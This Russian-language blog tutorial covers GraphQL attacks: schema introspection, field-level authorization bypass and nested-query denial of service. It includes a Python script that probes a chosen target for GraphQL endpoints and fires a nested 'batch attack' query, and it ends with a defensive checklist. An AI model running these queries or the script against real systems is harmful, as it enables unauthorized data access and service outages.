54
Привет, хакеры и разработчики! Сегодня мы с вами погрузимся в мир GraphQL — мощного и современного инструмента для работы с API, который, как и всё в IT, может стать слабым звеном, если его неправильно настроить. Мы разберём, что такое GraphQL-инъекции, как искать уязвимости через интроспекцию, обходить авторизацию и устраивать хаос с переполнением запросов. А главное — я дам вам готовый Python-скрипт для автоматизации процесса. Погнали!
Что такое GraphQL и почему он уязвим?
GraphQL — это язык запросов для API, который позволяет клиенту запрашивать только те данные, которые ему нужны. В отличие от REST, где структура ответа жёстко задана, тут клиент сам решает, что получать. Это круто, но открывает двери для атак, если сервер не защищён.
Основные уязвимости GraphQL:
Давай разберём каждый пункт на практике.
Уязвимость 1: Интроспекция — твой пропуск в схему данных
GraphQL по умолчанию поддерживает интроспекцию — возможность запросить всю схему API, включая типы данных, поля и мутации. Если разработчик не отключил эту фичу (а это делают далеко не все), ты можешь получить карту всей системы.
Как проверить интроспекцию?
Отправь следующий запрос на эндпоинт GraphQL (обычно это /graphql
или /api
):
1 2 3 4 5 6 7 8 9 10 11 |
query { __schema { queryType { name fields { name description } } } } |
Если сервер вернёт схему — ты в деле! Теперь ты знаешь, какие запросы (queries) и мутации (mutations) доступны. Ищи чувствительные данные, вроде userData
, adminPanel
или deleteUser
.
Лайфхак
Если интроспекция отключена, попробуй поискать документацию или старые версии API через Wayback Machine — иногда там можно найти схему.
Уязвимость 2: Обход авторизации
GraphQL часто проверяет авторизацию только на уровне эндпоинта, а не отдельных полей. Это значит, что даже с минимальными правами ты можешь запросить данные, к которым доступ должен быть закрыт.
Пример атаки
Допустим, ты авторизован как обычный юзер. Отправляешь запрос на получение своего профиля, но добавляешь поле isAdmin
, которое не должно быть доступно:
1 2 3 4 5 6 7 |
query { me { id username isAdmin } } |
Если сервер отдаст тебе isAdmin: true
— поздравляю, ты нашёл баг. Дальше можешь попытаться запросить данные других пользователей через user(id: "123")
.
Уязвимость 3: Переполнение запросов (Query Batching и DoS)
GraphQL позволяет отправлять несколько запросов в одном пакете. А ещё можно делать глубоко вложенные запросы, которые заставят сервер обрабатывать тонны данных. Если лимиты не настроены, это приведёт к DoS (отказу в обслуживании).
Пример атаки
Вот запрос, который запрашивает пользователей, их посты, комментарии к постам и лайки к комментариям:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
query { users { id posts { id comments { id likes { id } } } } } |
Если сервер не ограничивает глубину вложенности или количество записей, он может зависнуть или упасть. А если таких запросов отправить сотню — привет, DoS.
Практика: Python-скрипт для автоматизации атак
Давай автоматизируем процесс поиска эндпоинтов GraphQL и эксплуатации уязвимостей. Вот готовый скрипт на Python с использованием библиотеки requests
. Мы будем искать эндпоинты и проверять интроспекцию.
Установка зависимостей
1 |
pip install requests |
Скрипт для перебора эндпоинтов и проверки интроспекции
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
import requests import json from concurrent.futures import ThreadPoolExecutor # Список возможных эндпоинтов GraphQL endpoints = [ "/graphql", "/api", "/api/graphql", "/gql", "/query" ] # Запрос для проверки интроспекции introspection_query = { "query": "query { __schema { queryType { name, fields { name, description } } } }" } def check_endpoint(url, endpoint): target = f"{url.rstrip('/')}{endpoint}" try: response = requests.post(target, json=introspection_query, timeout=5) if response.status_code == 200 and "data" in response.json(): print(f"[+] GraphQL endpoint found: {target}") print(f"Introspection response: {json.dumps(response.json(), indent=2)[:500]}...") return target except Exception as e: print(f"[-] Failed to connect to {target}: {str(e)[:50]}") return None def brute_endpoints(url): print(f"Starting endpoint brute-force for {url}...") found_endpoints = [] with ThreadPoolExecutor(max_workers=5) as executor: results = executor.map(lambda ep: check_endpoint(url, ep), endpoints) for result in results: if result: found_endpoints.append(result) return found_endpoints def send_batch_attack(endpoint): # Пример атаки с переполнением запросов batch_query = { "query": """ query { users { id posts { id comments { id likes { id } } } } } """ } print(f"Sending batch attack to {endpoint}...") try: response = requests.post(endpoint, json=batch_query, timeout=10) print(f"Response status: {response.status_code}") print(f"Response body: {response.text[:500]}...") except Exception as e: print(f"Batch attack failed: {str(e)[:50]}") if __name__ == "__main__": target_url = input("Enter target URL (e.g., https://example.com): ") found = brute_endpoints(target_url) if found: print("\nTesting batch attack on found endpoints...") for ep in found: send_batch_attack(ep) else: print("No GraphQL endpoints found. Try manually.") |
Как использовать скрипт?
https://example.com
).Лайфхак
Добавь свои словари эндпоинтов или используй Burp Suite для перехвата запросов и поиска нестандартных точек входа.
Как защититься от таких атак?
Если ты разработчик, вот короткий чек-лист:
introspection: false
).graphql-depth-limit
).Итог
GraphQL-инъекции — это не миф, а реальная угроза для современных API. Интроспекция даёт тебе карту данных, слабая авторизация — доступ к чужим секретам, а переполнение запросов может положить сервер на лопатки. Скрипт, который я дал, — это твой стартовый инструмент для автоматизации. Но помни: используй знания только для этичного тестирования и с разрешения владельца системы.